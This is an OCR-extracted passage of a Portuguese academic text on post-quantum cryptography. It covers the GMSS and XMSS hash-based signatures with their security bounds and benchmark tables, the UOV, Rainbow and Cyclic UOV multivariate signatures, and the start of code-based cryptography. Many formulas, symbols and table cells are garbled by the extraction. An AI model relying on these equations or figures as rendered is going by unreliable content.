durante a geragdo da Raiz. Depois as assinaturas Sig, das T arvores Merkle que serdo
usadas para a primeira assinatura sdo calculadas. Como os valores mudam com menos
frequéncia para as camadas superiores, a precomputacdo pode ser distribuida por vdrias
etapas, resultando em uma melhora significativa da velocidade de assinatura e permitindo
escolher grandes parametros w de Winternitz, que resulta em assinaturas menores. Para
garantir tamanhos pequenos de chaves privadas, foi utilizado PRNG, onde somente a se-
mente do PRNG precisa ser armazenada.

Geragdo de assinatura GMSS: A raiz de uma arvore filha é assinada com a chave de
assinatura one-time correspondente a uma certa folha de sua drvore mae. Raiz; denota
a raiz da arvore 7. Sig, denota a assinatura one-time de Raiz,, que € gerado usando a
folha / do pai de 7. Os hashes da mensagem d sdo assinados utilizando as folhas das
arvores Merkle sobre a camada 7' mais profunda. O nimero de mensagens que podem ser
assinadas com um par de chaves GMSS € § = 2hi++hr onde hi,...hy sado as alturas das
subarvores. A assinatura GMSS consiste do indice das folhas s, das assinaturas one-time
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Sigq e Sigr, ondei=2,.,Tej=0,..2M* *hii

Aut[tij, ] parai=1,..,T.

— 1 e dos caminhos de autenticacdo

Na geragdo de assinatura também sdo calculados as raizes Raiz;,; € caminhos de
autenticacao Aut[t;1,0], das drvores seguintes 7; 1, onde i = 2,...,T. A geracdo de assi-
natura pode ser dividida em duas partes. A primeira parte, parte online, calcula Sig,; e a
assinatura. A segunda parte, parte offline, precalcula os caminhos de autenticacdo e assi-
naturas one-time das raizes necessdrias para as proximas assinaturas.

Verificacdo de assinatura GMSS: O processo de verificagdo de GMSS € essencialmente o
mesmo que para MSS e CMSS. Primeiro, verifica-se a assinatura de uma so vez Sigy do
hash d usando o esquema one-time de Winternitz. Entdo, o verificador valida as chaves
publicas das raizes das subarvores e da arvore principal.

2.2.9. XMSS - eXtended Merkle Signature Scheme

O esquema de assinatura XMSS [Buchmann et al. 2011b] € uma modificacdo do
esquema MSS, sendo o primeiro esquema de assinatura pratico comprovadamente foward
secure com exigéncias minimas de seguranca. Este esquema utiliza uma familia de fun-
coes F e uma familia de funcdes de hash G. O esquema XMSS ¢€ eficiente, se G e F sao
eficientes. Este esquema, € infalsificdvel sob ataques adaptativos de mensagem escolhida
no modelo padrao se G € resistente a segunda pré-imagem e F' é pseudo aleatério. Os
parametros de XMSS sdo: o parametro de seguranga n € N, o parametro de Winternitz
w € N(w > 1), o tamanho da mensagem em bits m € N, uma familia de funcdes pseudo-
aleatorias:

Fp={fk :10,1}" = {0, 1}"|K € {0, 1}"},

a altura da arvore H € N, uma func¢do de hash gx escolhida aleatoriamente com distribui-
cdo uniforme da familia de funcdes:

Gn = {gk : {0, 1}*" > {0, 1}"|K € {0,1}"}

e a chave de assinatura one-time x € {0,1}" escolhida aleatoriamente com distribui¢ao
uniforme.

A chave de assinatura one-time x € utilizada para construir a chave de verificacao
one-time Yy, através da aplicacdo da familia de funcdes F,. Neste trabalho utilizou-se
a funcdo fx(x) = g(Pad(K)||Pad(x)), para uma chave K € {0,1}", x € {0,1}" e Pad(z) =
(z]|10P~RI=1y para |z| < b, sendo b o tamanho do bloco da fun¢do de hash.

O esquema XMSS utiliza uma versdo um pouco modificada do esquema de Win-
ternitz [Buchmann et al. 2011a]. Esta modificacdo permite eliminar a necessidade de
uma familia de fun¢des de hash resistente a colisdo. Utiliza um caminho através da fami-
lia de funcdes em vez de uma avaliagdo iterada da funcao de hash. Para K, x € {0,1}", e €
N, e fx € F,, define-se a funcdo f[e{(x) como: flg(x) =K,eparae>0 fl‘é(x) = fx’(x), onde
K’ = £ ().

Para o parametro w de Winternitz, calcula-se:

_{ m w / _Vogz(ll(w—l))
=|—, S = |

1, =1 +1.
loga(w) l0g2(w) |+ e
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A chave publica de verificacdo é:
Y=ty = i s fig )

O esquema W-OTS assina mensagens bindrias de comprimento m. Os bits da
mensagem sdo processados na base w. A mensagem € da forma M = (my,...,my,), m; €
{0,...,w—1}. A soma de verificagdo é ¢ = Zﬁ‘zl(w — 1 —m;) em base de representacido w €
anexada a M. A soma de verificagdo € de comprimento /;. O resultado da concatenacdo
dos blocos de M com c é b = (by,...,b;). O tamanho da assinatura, das chaves de assinatura
e verificacdo € de [ cadeias de n bits . A assinatura é:

Sig = (Sig1, - 5ig1) = (i (X)s.s £ (X)).

A arvore XMSS € uma modificagdo da arvore de hash de Merkle. A arvore de altura
H, tem H + 1 niveis. Utiliza fung¢@o de hash gg e vetores de bitmasks (b jlb;,;) € {0, 1},
escolhidos aleatoriamente, sendo by ; o bitmask esquerdo e b, ; o bitmask direito. Os nés
no nivel j, 0 < j < H, sdo denotados por NO; ;, 0 <i < 2H-] e 0 < Jj < H. Os noés sao
calculados como:

NO; j=gk(NO2; j-1® b PII(NO2is1,j-1 © by j)).

Os bitmasks sdo a principal diferenca das outras arvores de Merkle, pois eles permitem
substituir a resisténcia a colisdo da familia fun¢do de hash. Podemos observar na Fi-
gura 2.6 como os nos NO, ; da arvore do esquema XMSS sdo construidos em cada nivel j
para gerar a chave ptiblica da arvore.

bltmaskm ______ @ @ ______

Figura 2.6. Esquema de assinatura XMSS

2.2.10. Seguranca dos esquemas de assinatura baseados em funcoes de hash

Nesta secdo apresentamos os principais resultados conhecidos sobre a seguranca
dos esquemas de assinatura baseados em funcdes de hash.

Definimos agora o conceito de existencialmente infalsificavel sob ataque adapta-
tivo de mensagens escolhidas (existential unforgeability under adaptive chosen message
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attack) de um esquema S IGN, onde SIGN = (GEN, S IG,VER) é um esquema de assi-
natura e (X,Y) um par de chaves gerado por GEN. Este modelo de seguranca assume a
existéncia de um poderoso falsificador. O falsificador tem acesso a chave publica e a um
oraculo O(X,.) que, por sua vez, tem acesso a chave privada. Passa-se ao ordculo uma
mensagem, € o ordculo retorna a assinatura desta mensagem. O falsificador escolhe, no
maximo, ¢ mensagens e permite que o oraculo encontre as assinaturas dessas mensagens.
As consultas ao ordculo sdo adaptativas pois uma mensagem pode depender das respos-
tas do ordculo as mensagens anteriormente consultadas. A saida do falsificador € um par
(M’, Sig’). O falsificador ganha se M ¢ diferente de todas as mensagens consultadas junto
ao oraculo e se VER(M',Sig’,Y) = 1. O esquema de assinatura SIGN € (t,€,q) existen-
cialmente infalsificivel sob ataque adaptativo de mensagem escolhida se para qualquer
falsificador que roda em tempo #, a probabilidade de sucesso para vencer o jogo acima
€ no maximo €. Se SIGN tem esta caracteristica, € também chamado de esquema de
assinatura (z,€,q). Para assinaturas one-time, g = 1, pois a chave de assinatura one-time
pode ser usada apenas uma vez. Para o esquema de assinatura de Merkle, nds temos que
g<2H.

No trabalho [J. Buchmann e Szydlo 2008] foi provado que o esquema de assina-
tura one-time Lamport-Diffie é existencialmente infalsificivel sob um ataque adaptativo
de mensagem escolhida (CMAseguro) assumindo a fungdo one-way € resistente a pre-
imagem. No mesmo trablho [J. Buchmann e Szydlo 2008] foi provado que o esquema de
assinatura Merkle € existencialmente infalsificdvel quando a fun¢do de hash é resistente a
colisdo e o esquema de assinatura one-time subjacente é existencialmente infalsificavel.

Uma familia de func¢des de hash resistente a colisdo (fcg, €cg) € resistente a pré-
imagem (tow, €ow). O nivel de seguranca do MSS € calculado conforme abaixo:

€—>?2 *max{eCR,ZH x4n* eow}

- H
t = min{tcg,tow}—2" *ts1G —VER — IGEN

IGEN — 2H>x<6n,t51G %4*)1(H+ 1),tVER —-n+H

Nas andlises efetuadas em [J. Buchmann e Szydlo 2008] para computadores clas-
sicos, foram consideradas que as fun¢des de hash com saida de tamanho n somente admi-
tem ataques genéricos contra suas pré imagens e resisténcia a colisdo. Esses ataques sdo o
de busca exaustiva e o ataque de aniversario. Quando computadores cldssicos sao usados,
um ataque de aniversario testa 2"/? valores hash com probabilidade de sucesso de apro-
ximadamente 1/2. Também, uma busca exaustiva de 2"/2 cadeias aleatérias gera uma
pré-imagem de um dado valor hash com probabilidade 1/2"/2. Assim, nds assumimos
que a familia de fun¢des de hash G é (22 1/2) resistente a colisdo e (2"/2,1/2?) resis-
tente a préimagem. O nivel de seguranca do esquema de assinatura de Merkle combinado
com o esquema de assinatura one-time Lamport-Diffie € pelo menos

b=n/2-1

se a altura da arvore Merkle € pelo menos H — n/3 e o tamanho da saida da funcdo de
hash € pelo menos n > 87, para computadores cléssicos.
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2.2.11. Resultados da Implementacao em Software

No trabalho [Oliveira e Lopez 2013] foram apresentado os resultados de uma im-
plementacdo em software dos esquemas esquemas MSS, CMSS, GMSS e XMSS, utilizando
uma maquina Intel Core i7 —2670 QMCPU, 2.20 GHz com 6 GB de RAM.

A Tabela 2.1 mostra os tamanhos das chaves em bytes e os tempos de execucao
dos algoritmos implementados com a fun¢io de hash SHA-2. Definiu-se: (Cpyp) tamanho
da chave publica, (C,;,) tamanho da chave privada, (Cy;g) tamanho da chave de assina-
tura, (f5,0n1) tempo de assinatura Online, (t5,0771) tempo de assinatura Offline. A assi-
natura online, calcula a assinatura W-OTS e a assinatura offline, precalcula os caminhos
de autenticagdes para a proxima assinatura. Para o esquema GMSS com 2 subdrvores,
definimos GMSS T=2 (w»,w) e para 4 subarvores definimos GMSS T=4 (w4, w3, w2, w1),
sendo o parametro wy utilizado para a drvore da camada mais acima e wy,w3 € w4 para as
subarvores das camadas mais abaixo.

Tabela 2.1. Tamanhos em bytes, tempos em (ms,s,min) e funcao SHA-2(256)

’ Esquema ‘ H ‘ w ‘ Cpub ‘ Cpriv ‘ Csig ‘ Ichaves ‘ Lsigonl ‘ Lsigoffl ‘ Lver ‘
MSS 20 | 3 32 1316 | 3556 | 243.5s 0.13ms | 0.0l ms | 0.11 ms
MSS 20 | 4 32 1316 | 2820 | 311.5s 0.17ms | 0.0l ms | 0.16 ms
CMSS 20 | 3.3) 32 2056 | 6472 | 030s | 0.13ms | 0.25ms | 0.28 ms
CMSS 20 | (4.4) 32 | 2056 | 5000 | 0.37s 0.17ms | 0.32ms | 0.40 ms
CMSS 40 | (3,3) 32 3976 | 7112 | 269 0.14ms | 0.26 ms | 0.30 ms
CMSS 40 | 4.4) 32 3976 | 5640 | 384 s 0.17ms | 0.32ms | 0.40 ms
GMSST=2 | 40 | (9,3) 32 | 3976 | 5224 | 48.1min | 0.16ms | 0.27 ms | 4.98 ms
GMSS T=4 80 | (3,3,3,3) | 32 9232 | 14224 | 570 s 0.14ms | 0.29 ms | 0.45 ms
GMSS T=4 80 | (7,7,7,3) | 32 9232 | 10864 | 50.3 min | 0.13ms | 0.25ms | 2.3 ms

[ XMSS [20 ] 4 [ 1696 [ 1316 | 4932 [ 293.65 | 0.25ms | 0.0l ms | 0.34 ms |

Observamos, pela Tabela 2.1, que o tamanho das chaves publicas tem 32 bytes,
exceto para o esquema XMSS que guarda bitmasks. A chave privada e a assinatura sao
menores nos esquemas MSS e XMSS, pois nos outros esquemas € preciso guardar infor-
macgdes de 2 ou mais arvores.

Nos gréficos da Figura 2.7 observamos os resultado dos tempos de assinatura e
verificacdo obtidos com w =4, H = 20 utilizando as fun¢des SHA-2 e SHA-3. O esquema
MSS teve os melhores tempos de assinatura e verificagio, porque somente um caminho de
autenticacdo precisa ser atualizado e checado para cada assinatura. Porém, o MSS € reco-
mendado somente para aplicacdes que necessitam até 22 chaves de assinatura, tornando-
se ineficiente para gerar mais chaves por consumir muitos recursos de memoria. Se forem
necessarias mais chaves de assinatura, os algoritmos CMSS e GMSS sao recomendados.

2.3. Criptografia de chave publica baseada em sistemas multivariados

Os criptossistemas multivariados de chave publica (multivariate public key cryp-
tosystems, ou MPKC) constituem mais uma das principais familias de criptossistemas de
chave publica considerada potencialmente resistentes até mesmo aos poderosos compu-
tadores quanticos do futuro. Esquemas MPKC tém sua seguranca baseada, em ultima
andlise, na dificuldade de resolver sistemas de equa¢des nao-lineares multivariadas sobre
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Figura 2.7. Tempos de assinatura e verificacdao com w=4 e H=20

corpos finitos. Em particular, na maior parte dos casos, tais esquemas se baseiam em
resolver sistemas de equagdes multivariadas quadraticas. Esse ultimo problema ficou
conhecido como o Problema MQ (multivariate quadratic problem), e foi mostrado ser
NP-dificil por Patarin [Patarin e Goubin 1997]. MPKC tem se desenvolvido mais inten-
samente nas duas ultimas décadas. Descobriram que algumas das construgdes existentes
ndo eram tdo seguras quanto se acreditava inicialmente, enquanto outras ainda permane-
cem vidveis.

A principal ideia em sistemas MPKC ¢ definir uma funcdo de mao tnica com
alcapao que tenha como imagem um sistema nao-linear de equacdes multivariadas sobre
um corpo finito. A chave publica é dada por um conjunto de polindmios:

P:{pl(xla sy xn),“"pm(xl, sy xn)}

onde cada p; é um polindmio nao-linear (comumente quadratico) nas variaveis
X:(xla Y xn):

Pr(X1, ..., Xp) = Z Pgl;)x,-xj+ Z Ll(.k)x,-+c(k),OSkSm (D

1<i<j<n 1<i<n

e todos os coeficientes e varidveis estdo em F,. Para simplificar a defini¢do anterior,
usaremos notacao vetorial, que € inclusive mais proxima de uma implementacao:

pe(x) 1= xPROXT 4+ LOx" 4 B 2)

onde P® ¢ F7*" ¢ uma matriz de tamanho n X n, formada com os coeficientes da parte
quadrética de pi(xy, ..., Xxn), LK e PZ ¢ um vetor formado com os coeficientes da parte
linear de pi(xy, ..., Xp), € ¢® denota um termo constante de pr(x1, ..., x,). X é 0 vetor
linha das varidveis [xy, ..., x,]. A Figura 2.8 ilustra a transformacao (ou mapa) puramente
quadritico xP®x" (que fornece um certo elemento no corpo finito, denotado por /iy, € Fy)
em termos de matrizes e vetores.

A seguir é dada uma defini¢do mais formal para o Problema MQ.

Definicao 1 (Problema MQ). Resolva o sistema pi(x) = pa(x) = -+ = ppu(x) =0, onde
cada p; é quadrdtico em x = (x1, ..., Xp). Todos os coeficientes e varidveis estdo em
K =T, o corpo de q elementos.
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Figura 2.8. Mapa ou Transformacao Puramente Quadratica

Em outras palavras, o objetivo do problema MQ é encontrar uma solug¢ao x para
um dado mapa . Garey e Johnson provaram em 1979 [Garey e Johnson 1979, pagina
251] que a variante decisional do problema MQ é um problema NP-completo sobre cor-
pos finitos. Mas infelizmente, aplicando-se equivaléncia polinomial de problemas de
busca e decisdo para linguagens NP-completas [Bellare e Goldwasser 1994], o resultado
de Garey e Johnson fornece apenas uma dificuldade de pior caso do problema MQ deci-
sional. E, de fato, a complexidade do problema MQ depende fortemente da relagcdo entre
n e m, além da estrutura dos polindmios.

Curiosamente, foi mostrado que o problema MQ se torna solivel em tempo po-
linomial usando a técnica de linearizacdo para sistemas subdeterminados em corpos de
caracteristica par quando n > m(m+ 1) e, em corpos de caracteristica impar quando n >
27 (m + 1) [Kipnis et al. 2003, Sec. 7] [Courtois et al. 2002], ou para sistemas sobre-
determinados com m > n(n+ 1)/2, ou ainda melhor, m > n(n—1)/2 para o caso especial
F,.

Por outro lado, todos os esquemas de assinatura MQ propostos até o momento nao
tém sua seguranca baseada somente no problema MQ. Para reconstruir a chave privada,
ou ainda encontrar uma equivalente, é necessario resolver um problema relacionado, o
Problema do Isomorfismo de Polindmios ou /P, proposto por Patarin [Patarin 1996]. Note
que para todos os polindmios de algum grau fixado, todos os argumentos seguintes sao
polindmios redutiveis a polindmios de grau 2.

Definicao 2 (Problema do Isomorfismo de Polinémios (/P)). Sejam m,n € N fixados e
arbitrdrios. Sejam também P,Q : Fy — Fy' dois mapas quadrdticos e T € Fj™™, S e Fg™"
transformagaoes lineares bijetoras, tais que P =T oQo S. Sabendo-se P e Q, encontre T~
eS.

Em outras palavras, o objetivo do problema /P é encontrar 7 e S para um dado
par (P,Q). Note que, originalmente, S foi definida como uma transformagdo afim em
vez de linear [Patarin et al. 1998]. Mas, Braeken et al. [Braeken et al. 2005, Sec. 3.1]
perceberam que a parte constante nao € importante para a segurancga de certos esquemas
MaQ e, portanto, pode ser omitida.
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2.3.1. Construcio de Chaves MQ

De forma genérica, a chave privada é composta das transformacdes lineares 7~ e
S mais a transformacdo quadratica Q. Note que a transformacio Q possui certa estrutura
especial com al¢apdo (sendo duas estruturas distintas de Q descritas na Secdo 2.3.2 para
as assinaturas UOV e Rainbow), que permitird ao signatdrio resolver facilmente o sistema
M@ publico para gerar assinaturas validas. A chave publica serd dada pela composi¢ao
P =T oQoS. Em alguns esquemas de assinatura nao € necessario utilizar transformacao
7, pois ela se reduz a identidade [Bernstein et al. 2008a, Capitulo 6].

A principal diferencga entre esquemas de assinatura MQ distintos esta na estrutura
de al¢apao de Q. Como a chave publica tem a mesma forma na maioria desses esquemas,
o procedimento de verificagdo de uma assinatura € o mesmo, ou seja, testar se uma dada
assinatura x é solucdo de um sistema quadratico publico py(x) = hg(m). Para consultar as
vérias construcdes distintas do mapa privado MQ veja [Wolf e Preneel 2005].

Vale mencionar aqui uma otimizagio 6bvia nas matrizes piiblicas P®), que propor-
ciona aproximadamente um fator dois de reducdo. Observando-se a defini¢do do somato-
rio da parte quadratica do polindomio pi(x1, ..., x,) (Equacdo 1), nota-se que o coeficiente
do termo x;x; € PE’;) + Pg.l;), ou seja, pode-se atualizar o coeficiente Pg) da matriz com o
valor ng) + Pg.]? e o coeficiente Py? com zero para i < j < n, o que torna cada matriz P®)
triangular superior. Apds essa otimizagdo, podemos definir uma tnica matriz publica que
serd util em algumas construcdes M Q. Trata-se da matriz piiblica de coeficientes, deno-
tada Mp, e é formada linearizando-se os coeficientes de cada uma das m matrizes P%) ja
na forma triangular superior. A Figura 2.9, ilustra essa construcdo.

Pt &l—l-}
-AEEEEEEEEET
p® Mp = :
5 {__lll
_/ mxé’
p(m) , nln+1)
_ntD

Figura 2.9. Matriz Publica de Coeficientes

2.3.2. Assinaturas UOV e Rainbow

Uma das principais familias de assinaturas MQ € a construcdo Unbalanced Oil
and Vinegar, ou UOV proposto por Patarin [Kipnis et al. 1999]. O nome UOV provém
do fato de as varidveis estarem particionadas em duas classes, chamadas de vinagres e
azeites, de tal maneira que varidveis da classe azeite ndo ocorrem juntas em nenhum termo
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quadratico. Essa estrutura constitui o alcapdo, que permite reduzir o sistema quadrético
completo a um sistema linear nos azeites, desde que os vinagres sejam conhecidos (ou
escolhidos ao acaso), para simplificar os termos onde ocorrem. O alcapao € protegido
pela dificuldade conjecturada do problema IP.

Formalmente, o algapao consiste de um mapa puramente quadrético, denominado
mapa central, Q : F* — F” com

Q=1{filur, ..., un),..., fuur, ..., un)}

e
. (k) — k). T
felurseoun) = ) O uij = u@®u 3)
I<i<j<n

O mapa central tem uma restricdo adicional em seus polindbmios fi(uy,...,uy,).
Impde-se que certa parte de seus coeficientes sejam nulos. O conjunto de varidveis u
¢ dividido em dois subconjuntos, o das varidveis vinagre u; com i€ V ={1,---,v} e o
das varidveis azeite u; com i € O = {v+1,---,n} que contém m = n —v elementos. A

restri¢do é que os polindmios f* ndo contenham nenhum termo cruzando duas varidveis
azeite. Isso evita que aparecam termos quadréticos e/ou cruzados nos azeites. Dessa
forma, restam apenas termos misturando os seguintes tipos de varidveis vXv e o X V.
Patarin mostrou que, com essa constru¢do, podemos chutar valores arbitrarios para os
vinagres, resultando em um sistema linear nas varidveis azeite. Esse sistema tem alta
probabilidade de apresentar uma solugdo, i.e. 1 —1/¢, e pode ser resolvido por eliminacao
gaussiana com complexidade O(n3). A estrutura dos polindmios privados € a seguinte:

k k
O )= ) OPuwi+ Y 0w )
ijev, i<j i€V, jeo

Para gerar uma assinatura x € F; de uma dada mensagem, particularmente de seu
hash criptogréfico h € F”', o signatdrio deve inverter a transformacdo P(x) = Q(S (x)) = h.
Definindo x” = x§, resolve-se primeiro o sistema multivariado, x’ OWX™ =y, 1 <k<m,
para encontrar x". Por fim, recupera-se a assinatura x = x’S -1,

Conforme explicado anteriormente, a estrutura das matrizes QX' permite que o
sistema MQ seja resolvido de forma eficiente, escolhendo v varidveis vinagre ao acaso
e resolvendo o sistema linear resultante para encontrar as m variaveis azeite em fungao
dos vinagres escolhidos. Caso o sistema linear ndo tenha solucao, repete-se o processo
escolhendo-se novas varidveis vinagre.

Uma assinatura x de & € vdlida, se e somente, se todos os polindmios p(k) da
chave publica forem satisfeitos, i.e. p(k)(xl, s xp) = POX) = xPOXT =y, 1 <k<m. A
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e A . . ~ ?, .
consisténcia da verificacdo P(x) = h é mostrada a seguir

Px) = xPx!
=x(QoS)x"
=x(SOSx"
=SS QS S T
=X(S7'$H)0EsTH N
=x'1QIxX""
=x' Ox"

=h.

Historicamente, o esquema UOV deriva da construcdo Oil and Vinegar, ou
OV [Patarin 1997], onde o numero de vinagres € o nimero de azeites € o mesmo (balan-
ceado), mas que se mostrou inseguro [Kipnis e Shamir 1998]. Em seguida, notou-se que
€ possivel torna-lo seguro, adotando-se quantidades desbalanceadas de azeites e vinagres
v > m, o0 que originou o esquema de assinatura UOV (Unbalanced Oil and Vinegar) [Kip-
nis et al. 1999]. A Figura 2.10 ilustra a estrutura vetorial de cada polindmio privado
uov

Z’tl uv un
Uy
variaveis vinagre
o = | T u,
0 . } variaveis azeite
u'ﬂ,

Figura 2.10. Mapa Central UOV

Para camuflar a estrutura dos polindmios f®, é aplicada uma transformaco linear
inversivel S € F;™ a direita de Q. O mapa publico resultante € = Qo S. A chave
privada é dada pelo par sk := (Q,S) e a chave publica é composta pelos polindmios pk :=

P(.XI,' o axn) = {p(l)(xla e ,xn), e ap(m)(x19 e a-xn)}*
Assim, fica claro que a seguranca do sistema nao € baseada somente no problema

MaQ e, de fato, recuperar a chave privada recai na dificuldade de decompor Pem Q e S,
ou seja, resolver o problema /P.

Uma variante do UOV € a familia de assinaturas Rainbow [Ding e Schmidt 2005]
proposta por Ding e Schmidt, e tem como principal vantagem a obten¢do de assinaturas
mais curtas que as encontradas em UOV simples [Thomae 2012, Secdo 3].

O Rainbow tem como ideia bésica a separacdo das m equacdes em bandas e o
particionamento das varidveis de acordo, ou seja, cada banda tem seus proprios vinagres
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e azeites, todas as varidveis de uma banda tornam-se os vinagres da banda seguinte, € os
azeites de cada banda sdo calculados em fun¢@os dos vinagres da mesma.

Em geral o mapa central € dividido em duas bandas, pois essa configuragdo se
mostrou a mais apropriada, no sentido de evitar certos ataques estruturais e ainda assim
manter as assinaturas curtas [Thomae 2012].

v, 0, v, 0,
PN, e e,
v, S0
............................ 10 O DU U S
0, 0O : 0 ¢
0 0 0 9, 0
para Qh’)’ ’Q(o,) para Q{nﬁ//’ ’le‘

Figura 2.11. mapa central O do esquema Rainbow de duas bandas

O mapa central Q dessa configuracdo do Rainbow ¢é dividido em duas camadas
caracterizadas pela estrutuda de suas matrizes como na Figura 2.11 onde v e 01 s@o o
numero de vinagres e azeites da primeira camada e v, € 02 sdo o nimero de vinagres e
azeites da segunda camada, lembrando que v, € igual ao nimero de vinagres e azeites da
camada anterior.

O processo de assinatura ¢ semalhante ao UOV, escolhendo ao acaso os vinagres
da primeira banda para calcular seus azeiftes, da mesma maneira que ¢ feito no UOV, e em
seguida usando todas essas varidveis como vinagres da proxima banda.

2.3.3. Assinatura Cyclic UOV

Um passo interessante na dire¢do de reducdo de chaves UOV/Rainbow foi dado
através das construcdes Cyclic UOV/Rainbow [Petzoldt et al. 2010b, Petzoldt et al.
2010a]. Analisando a estrutura das chaves UOV, os autores notaram a existéncia de uma
relacdo linear entre parte do mapa quadratico publico e do mapa quadratico privado. Essa
relacdo pode ser explorada para gerar pares de chave de forma diferente do usual e re-
duzir assim o tamanho da chave publica. A ideia foi primeiro calcular a parte quadratica
da chave publica com uma estrutura compacta desejada e a partir dai calcular a parte
quadratica da chave privada utilizando-se a relacao linear encontrada.

Portanto, € possivel obter chaves publicas mais compactas enquanto as chaves
privadas permanecem com aparéncia aleatéria e sem estrutura. A estrutura sugerida por
Petzoldt et. al. foi a de matrizes circulantes, dai o nome Cyclic UOV [Petzoldt et al.
2010b]. Matrizes circulantes sdo bastante compactas, uma vez que podem ser represen-
tadas simplesmente por sua primeira linha. Logo, a chave publica pode ser armazenada
de forma mais eficiente, além de possibilitar algumas vantagens em processamento, como
técnicas de Karatsuba e Fast Fourier Transform (FFT).

A construgdo das chaves Cyclic UOV pode ser descrita da seguinte maneira. Pri-
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. ~ 1. . . $
meiramente, gera-se uma transformacao linear § € F ZX" inversivel, onde §;; < F,,1 <
i,j <ne,apartir de §, calcula-se a relagc@o linear proposta por Petzoldt et. al., denotada
por Ayoy = a/;]t“:
rs _ Sri'Ssi, 1:_]

1 Sri+Ssj+S8rj-Ssi, caso contrrio

Para ilustrar como as matrizes publica e privada de coeficientes, Mp e MF, se
relacionam, temos inicialmente as Figuras 2.12 e 2.13 que separam as partes de interesse
dessas matrizes.

a— O =
EREEEEmEEw
Mp = = B C
— = p——
,_nn+ 1)

Figura 2.12. Cyclic UOV - Matriz Publica de Coeficientes

— ([ =

[ [ [ [ [ EEENE
k ¢ _/mxé’ k ¢ " mxé’
R U e
2 2

Figura 2.13. Cyclic UOV — Matriz Privada de Coeficientes

Os blocos B de Mp e F de My se relacionam através da seguinte expressao B :=
F-Ayov(S). Dessa forma, na geragdo de chaves, pode-se primeiro gerar a matriz Mp com
B sendo uma matriz circulante e calculando-se, posteriormente, F' := B-Azjlov(S ). Essa
constru¢do foi capaz de reduzir a chave ptiblica UOV em cerca de 6 vezes para o nivel de
seguranca de 80 bits.

Como mencionado anteriormente, assinaturas M@ tém se desenvolvido mais in-
tensamente nas duas ultimas décadas, reunindo véarias propostas em dire¢ao a redugao
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Tabela 2.2. Evolucao das assinaturas MQ

proposta | sk | pk| |hash| |sig| ref.

Rainbow(F,4, 30, 29, 29) 758 KiB 113.4 KiB 232 352 [Petzoldt et al. 2010¢c]
Rainbow(F3, 25, 24, 24) 59.0KiB 77.7 KiB 232 392 [Petzoldtet al. 2010c]
CyclicUOV (F,s, 26, 52) 14.5KiB  76.1 KiB 208 624 [Petzoldt et al. 2010a]
NC-Rainbow(F,s, 17, 13, 13) 25.5KiB  66.7 KiB 384 672  [Yasudaetal 2012]
Rainbow(F,s, 29, 20, 20) 42.0KiB 58.2 KiB 272 456  [Petzoldtetal. 2010c]
CyclicLRS(F»s, 26, 52) 71.3 KiB 13.6 KiB 208 624 [Pewoldtetal. 2011]
UOVLRS(F,s, 26, 52, 26) 71.3 KiB 11.0 KiB 208 624 [Petzoldtetal. 2011]

CyclicRainbow(Fys, 17,13, 13)  19.1 KiB  10.2 KiB 208 344 [petzoldtetal. 2010a]

do tamanho das chaves que € sua principal desvantagem. A Tabela 2.2 ilustra algumas
propostas.

2.4. Criptografia baseada em cddigos corretores de erros

Nesse capitulo falaremos sobre a teoria e a pratica de sistemas criptograficos ba-
seados em cddigos corretores de erros.

A teoria da codificacdo tem como objetivo assegurar que, ao transmitir uma
colecdo de dados através de um canal sujeito a ruidos (ou seja, a perturbagdes nos da-
dos enviados), o destinatario dessa transacdo possa recuperar a mensagem original. Para
isso, devem-se encontrar maneiras eficientes de adicionar informacao redundante a men-
sagem original de tal forma que, caso a mensagem chegue ao destinatario contendo erros
(existindo inversdao em certos bits, para o caso de mensagens bindrias), o recebedor possa
corrigi-la. A Figura2.14, baseada em [Huffman e Pless 2003], ilustra bem esta situacao:

. . Canal de .
Origem W Codificador » P ¥ Decodificador W Destino
g © Transmissdio ;
m =m,... m, Cc=cC. G, y=cte m
dados enviados palavra de codigo vetor recebido estimativa dos dados
enviados

€=¢.. G,
CImos

Figura 2.14. Canal de Comunicacao

No contexto criptografico, a primitiva consiste em adicionar erros em uma palavra
de um cddigo corretor de erros e calcular uma sindrome relativa a matriz de verificacao
de paridade desse cédigo.

O primeiro desses sistemas foi um esquema de encriptacdo de chave publica pro-
posto por Robert J. McEliece em 1978 [McEliece 1978]. A chave privada € um cédigo
de Goppa (que serd revisado na secdo 2.4.1.1) aleatorio, bindrio e irredutivel, e a chave
publica € uma matriz geradora aleatéria com uma versao permutada desse cddigo. O texto
encriptado € uma palavra de c6digo no qual alguns erros foram introduzidos, e somente o
dono da chave privada pode remover esses erros (e, consequentemente, decriptar a men-
sagem). Alguns anos mais tarde alguns ajustes de parametros foram necessarios para
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manter o nivel de seguranca, mas ndo é conhecido, até hoje, nenhum ataque que possa
quebrar esse criptossistema.

2.4.1. Cédigos lineares

Para um melhor entendimento técnico desse capitulo, primeiramente vamos expli-
car algumas nog¢des fundamentais utilizadas no ambito da criptografia baseada em cdodi-
gos.

No contexto que segue, todos os indices de matrizes e vetores sao numerados a
partir de zero, a menos que explicitamente indicado de outra forma. Seja p um primo,
e seja ¢ = p™ para algum inteiro m > 0. F, denota o corpo finito com g elementos. O
grau de um polindmio g € F,[x] denota-se deg(g). Define-se também a nogdo de peso de
Hamming e distancia de Hamming:

Definicéo 3. O peso de Hamming de um vetor u € C C F é o niimero de coordenadas
ndo nulas de u, i.e. wt(u) =#{i, 0 <i<n|u; #0}. A distdncia de Hamming entre dois
vetores u,v € C C FZ ¢ o nuiimero dist(u,v) de coordenadas em que esses vetores diferem,
i.e. dist(u,v) := wt(u—v).

Agora vamos introduzir alguns conceitos tteis a tarefa de codificar mensagens. O
primeiro deles se refere a cddigo linear, que pode ser definido como:

Defini¢ao 4. Um cddigo linear [n, k] (de comprimento n e dimensdo k) sobre o corpo F,
¢ um subespago vetorial C de dimensdo k do espago Fy.

Um vetor qualquer u € C € também chamado palavra de codigo (ou, abreviada-
mente, uma palavra) de C.

Sendo um espaco vetorial, C € representado por uma base, que pode ser escrita na
forma de uma matriz geradora:

e Uma matriz geradora G de C € uma matriz sobre I, tal que C = (G), onde (G)
indica o espago vectorial gerado pelas linhas de G. Normalmente as linhas de G sao
independentes e a matriz possui dimensdo k X n. De outra forma: 3G € }F’;X” :C=

k
{uGngluqu}.

e Dizemos que uma matriz geradora G estd na forma sistematica se suas primeiras k
colunas formam a matriz identidade.

e O chamado cddigo dual C* é o c6digo ortogonal de C para o produto escalar sobre
[F, € € um c6digo linear de dimensao n X (n — k) sobre F,,.

Alternativamente, C € inteiramente caracterizado como o nicleo de uma transfor-
